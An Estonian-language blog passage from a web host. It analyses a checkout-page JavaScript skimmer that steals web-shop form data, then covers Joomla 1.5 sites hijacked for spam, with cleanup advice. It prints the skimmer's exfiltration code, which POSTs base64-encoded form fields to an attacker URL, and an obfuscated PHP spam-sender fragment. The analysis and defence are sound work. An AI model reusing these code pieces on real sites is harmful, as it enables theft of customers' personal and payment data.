Siin toimub sisuliselt sama asi, ainult et nuppude asemel otsitakse lehelt kõik vormid ja lisatakse funktsiooni clk() rakendumine vormi sündmuse ‘submit’ jaoks, mis rakendub tol hetkel, kui brauser valmistub vormi andmeid veebipoe serverile saatma.

Seega siinkohal oleme sellises seisus, et kui lehel on mõni nupp ja kasutaja sellel klikib (rakendub ‘click’ või ‘submit’ sündmus), otsib funktsioon clk() lehelt üles kõik vormielemendid ja salvestab need muutujasse snd. Iseenesest on pahavara jaoks see juba üsna väärtuslik info, aga momendil on sellest veel vähe kasu, kuna see väärtus on endiselt kasutaja brauseri mälus. Vaatame aga, et mis edasi saab.

if (grelos_v.snd != null) {
  var domm = location.hostname.split('.').slice(0).join('_');
  var keym = grelos_v.base64_encode(grelos_v.snd);
  ...
  http.open('POST', grelos_v.Glink, true);
  ...
  http.send(
    'info=' + keym + '&hostname=' + domm + '&key=' + grelos_v.myid);
}

Siin toimubki siis andmete reaalne saatmine serverisse, kus pahavara keskusena on kasutusel eespool toodud võlts-jQuery link. Saadetavateks andmeteks on veebipoe domeeninimi, küpsisest võetud kasutaja ID ning base64 kodeeritult snd omadusse salvestatud vormiväljade andmed.

Ilmselgelt võiks sellise andmete edastamisega kiirelt vahele jääda, kuna nuppe on lehekülgedel palju. Liigse andmete saatmise välistab järgmine koodijupp, mis kogu kupatuse lõpuks käima tõmbab.

if (
  new RegExp('onepage|checkout|onestep', 'gi').test(window.location)
) {
 grelos_v.send();
}

Seega rakendub kogu loogika ainult nendel veebilehtele, mille veebiaadressi järgi võib arvata, et tegu on makse sooritamise lehega. Muudel lehtedel, näiteks niisama veebipoes ringi surfates, jääb pahavara kood rakendumata ja mingeid andmeid kuskile ei saadeta.

Niisiis, milles üldse probleem? Pahavara on ju üsna lihtsakoeline, mis teema nende krediitkaartidega siis on? Krediitkaartidega seob pahavara see, et traditsiooniliselt tuleb veebipoes tellimusvormi täitmisel sisestada ka oma krediitkaardi numbrid. Kui nüüd veebipoe klient on sellisel vormil andmed ära täitnud ja klikib nupul “Kinnita tellimus”, siis lisaks “päris”-kinnitusele ehk sisestatud andmete edastamisele veebipoe serverile, teeb brauser veel ühe päringu – pahavara poolt määratud veebiaadressile koos kõigi lehel olevate vormiväljade andmetega. Kui vormis olid toodud krediitkaardi numbrid, siis ongi pahalasel need väärtused nüüd kenasti käes.

Tagasi tulles kohalike veebipoodide juurde, miks ma julgen arvata, et rahalist kahju peaaegu et ei olnud või oli see väga väike. Nimelt on küsimus meie väljakujunenud online maksete süsteemis. Kuigi praeguseks suurem osa veebipoode juba võtab krediitkaardimakseid vastu (peamiselt domineerivad endiselt hoopis pangalingi protokollile ehitatud ülekanded), siis tehakse seda reeglina läbi kolmanda osapoole, olgu selleks siis Estcard (endine Pankade Kaardikeskus), Maksekeskus või kasvõi PayPal, kuna erinevalt näiteks USA veebipoodidest, ei ole meie kohalikel veebipoodidel reeglina õigust ise neid numbreid koguda. Kõik mainitud teenused suunavad kasutaja kaardinumbrite sisestamiseks veebipoe lehelt ära ja veebipood ning seega ka veebipoes paiknev pahavara neid numbreid kunagi ei näe.

Estcard ja PayPal suunavad kasutaja makse teostamiseks oma veebisaidile, Maksekeskus ning välismaised Recurly, Stripe jmt. jälle kuvavad veebipoe lehel maksevormi läbi oma <iframe> lehe, millele veebipood ise samuti ligi ei pääse. Kasutaja jaoks tundub selline <iframe> maksevorm olevat veebipoe osa, kuid tegelikkuses on see vaid illusoorne seos, veebipoe lehel käivituva JavaScripti jaoks on see täielik must kast, mille kohta on võimalik teada saada vaid selle elemendi mõõtmed, kuid mitte midagi selle elemendi sisu kohta.

Veebipood, milles asuvat pahavara koodi ma siinkohal vaatasin, kasutaski maksete kogumiseks Maksekeskuse teenust ja seega võis pahavara koguda kasutaja kohta küll mingeid andmeid, mis paraku võisid olla isegi üsna privaatsed (nimi, telefoninumber, aadress jne), kuid kasutaja krediitkaardi või muid makse andmeid see pahavara kunagi näha ei saanud.

See kõik aga ei tähenda, et kohalikud veebikaupmehed võiksid ennast mugavalt tunda ja turvalisusele mitte mõelda. Kaugel sellest. Esiteks on ka niisama privaatsete isikuandmete leke päris suur probleem (vaadeldud veebipood saatis üle poole aasta kõikide klientide andmed kes teab kuhu) ja teiseks, kui maksevormid suunduvad kolmanda osapoole serverisse, kuhu pahavaral ligipääs puudub, võib oodata tulevikus palju keerukamaid lahendusi, mis võltsivad sarnaselt tavalisele phishingule juba maksevormide vaateid ja korjavad need numbrid ikkagi kokku. Praegu kohalikel kaupmeestel veel vedas, aga seda vedamist ei pruugi väga pikalt jätkuda.

Samal teemal:

Joomla 1.5 veebid botnetis

Ründed veebide vastu käivad lainetena – võetakse ette ühe sisuhaldustarkvara üks turva-auk ja käiakse sellel põhineva ründega teadaolevate domeenide nimekiri üle. Haavatavad veebid saavad endale hetkega hulga tagauksi ja lähevad kasutusse spämmi saatmisel, pahavara levitamisel või mõnel muul moel.

Täna hakkab logidest silma Joomla 1.5 versioonil põhinev spämmi-botnet – mis on eriti õnnetu juhtum, sest tegemist on väga vana ja juba ammu enam uuendusi mitte saava versiooniga (viimane ametlik parandus on 1.5.26, lisaks on olemas hotfix-parandusi kuni 1.5.29-ni) ning selle pealt uuemale versioonile üleminek on tõsine migratsioon. Ka rünnak tundub olema iidne – samu mustreid on kirjeldatud juba 2014. veebruaris.

Kui sait on pandud spämmi saatma, ei jää meil muud üle kui kasutaja veebiserverist väljuv e-postiliiklus blokeerida (see ei puuduta kasutaja enda e-posti, küll aga nt veebipoest saadetavaid arveid või paroolivahetusi) – ja paluda kliendil suhelda oma veebimeistriga veebi pahalastest puhastamise teemal. Sageli tuleb seepeale küsimus “Kuidas te teate, et on nakatunud – ja kuidas veebi puhtaks saaks?”

Samal teemal lugemist Zone blogist:

Tüüpiline ülevõetud veebi logi näeb välja selline:

POST /templates/beez/javascript/stats86.php
POST /administrator/components/com_menus/views/utf81.php
POST /libraries/joomla/html/parameter/list92.php
POST /libraries/cms/form/db42.php
POST /includes/PEAR/press58.php

Ehk erinevatesse kohtadesse Joomla, selle lisade või kujundusteema koodis on paigutatud suvalise nimega faile, mis sisaldavad spämmisaatjat. Sedapuhku näeb see välja umbes selline:

<?php ${"\x47\x4c\x4fB\x41\x4c\x53"}['wc576'] = "\x28\x72\x48\x45\x2e\xa\x4e\x40\x20\x75\x67\x33\x3a\x52\x7c\x50\x7e\x39\x62\x3e\x31\x49\x2c\x41\x55\x46\x6f\x4a\x78\x21\x71\x32\x6a\x6d\x51\x

65\x2f\x24\x27\x4d\x54\x5d\x60\x5c\x58\x2a\x5e\x66\x37\x23\x38\x42\x22\x29\x5b\x4f\x77\x2d\x56\x3f\x25\x47\x44\x64\x76\x6e\xd\x79\x7a\x69\x4b\x3b\x36\x3c\x68\x59\x3d\x43\x63\x30\x7b\x53\x35\

x34\x9\x5f\x5a\x2b\x7d\x26\x4c\x6c\x70\x6b\x57\x61\x74\x73";

$GLOBALS[$GLOBALS['wc576'][9].$GLOBALS['wc576'][82].$GLOBALS['wc576'][35].$GLOBALS['wc576'][50].$GLOBALS['wc576'][11]] = $GLOBALS['wc576'][78].$GLOBALS['wc576'][74].$GLOBALS['wc576'][1];

Õnneks tuvastavad seda mustrit mitmed viirusetõrjevahendid, sealhulgas Nimbusec mille saab tellida Zone+ all – umbes 15 minutiga peaks esimene skaneering tehtud olema ning käes nimekiri pahadest failidest:

compromised-files

Jah, see teenus maksab – 1,99€+km kuus. Aga meie testide kohaselt on see parim ja soodsaim lahendus, mida pakkuda saame.

Käies need ükshaaval üle on võimalik veenduda, et tegemist on tõepoolest pahavaraga – ning juhul, kui selles failis midagi muud ei sisaldu, võib selle lihtsalt ära kustutada. Paraku leiab tihti ka sellist pahavara, mis lisatakse mõne veebirakenduse jaoks olulise faili algusesse või keskele, ning sellisel puhul on vaja eemaldada vaid probleemne osa – või asendada kogu fail puhtaga.

Nii saab veebi enam-vähem korda, aga kui rünnet võimaldanud turva-auk lappimata jääb või on pahalased sokutanud kuhugi tagaukse, mis ka Nimbusecile märkamata jääb, kordub kõik paari päeva pärast uuesti.

Siis aitab ainult suurpuhastus:

  • sisuhaldustarkvara kood tuleb täielikult asendada värskeima versiooniga (Joomla puhul tähendab see migratsiooni)
  • samuti tuleb asendada kõik lisamoodulid – veendudes, et nende viimased versioonid ei sisalda teadaolevaid turvaprobleeme
  • kohandatud kujundusteema failid tuleb käsitsi üle kontrollida, veendumaks nende puhtuses

ps. Joomla-spetsid on teretulnud täiendama/parandama – eriti mis puudutab versioone, vajalikke paikasid, migratsiooni metoodikat jne. Võib kirjutada otse peeter@zone.ee.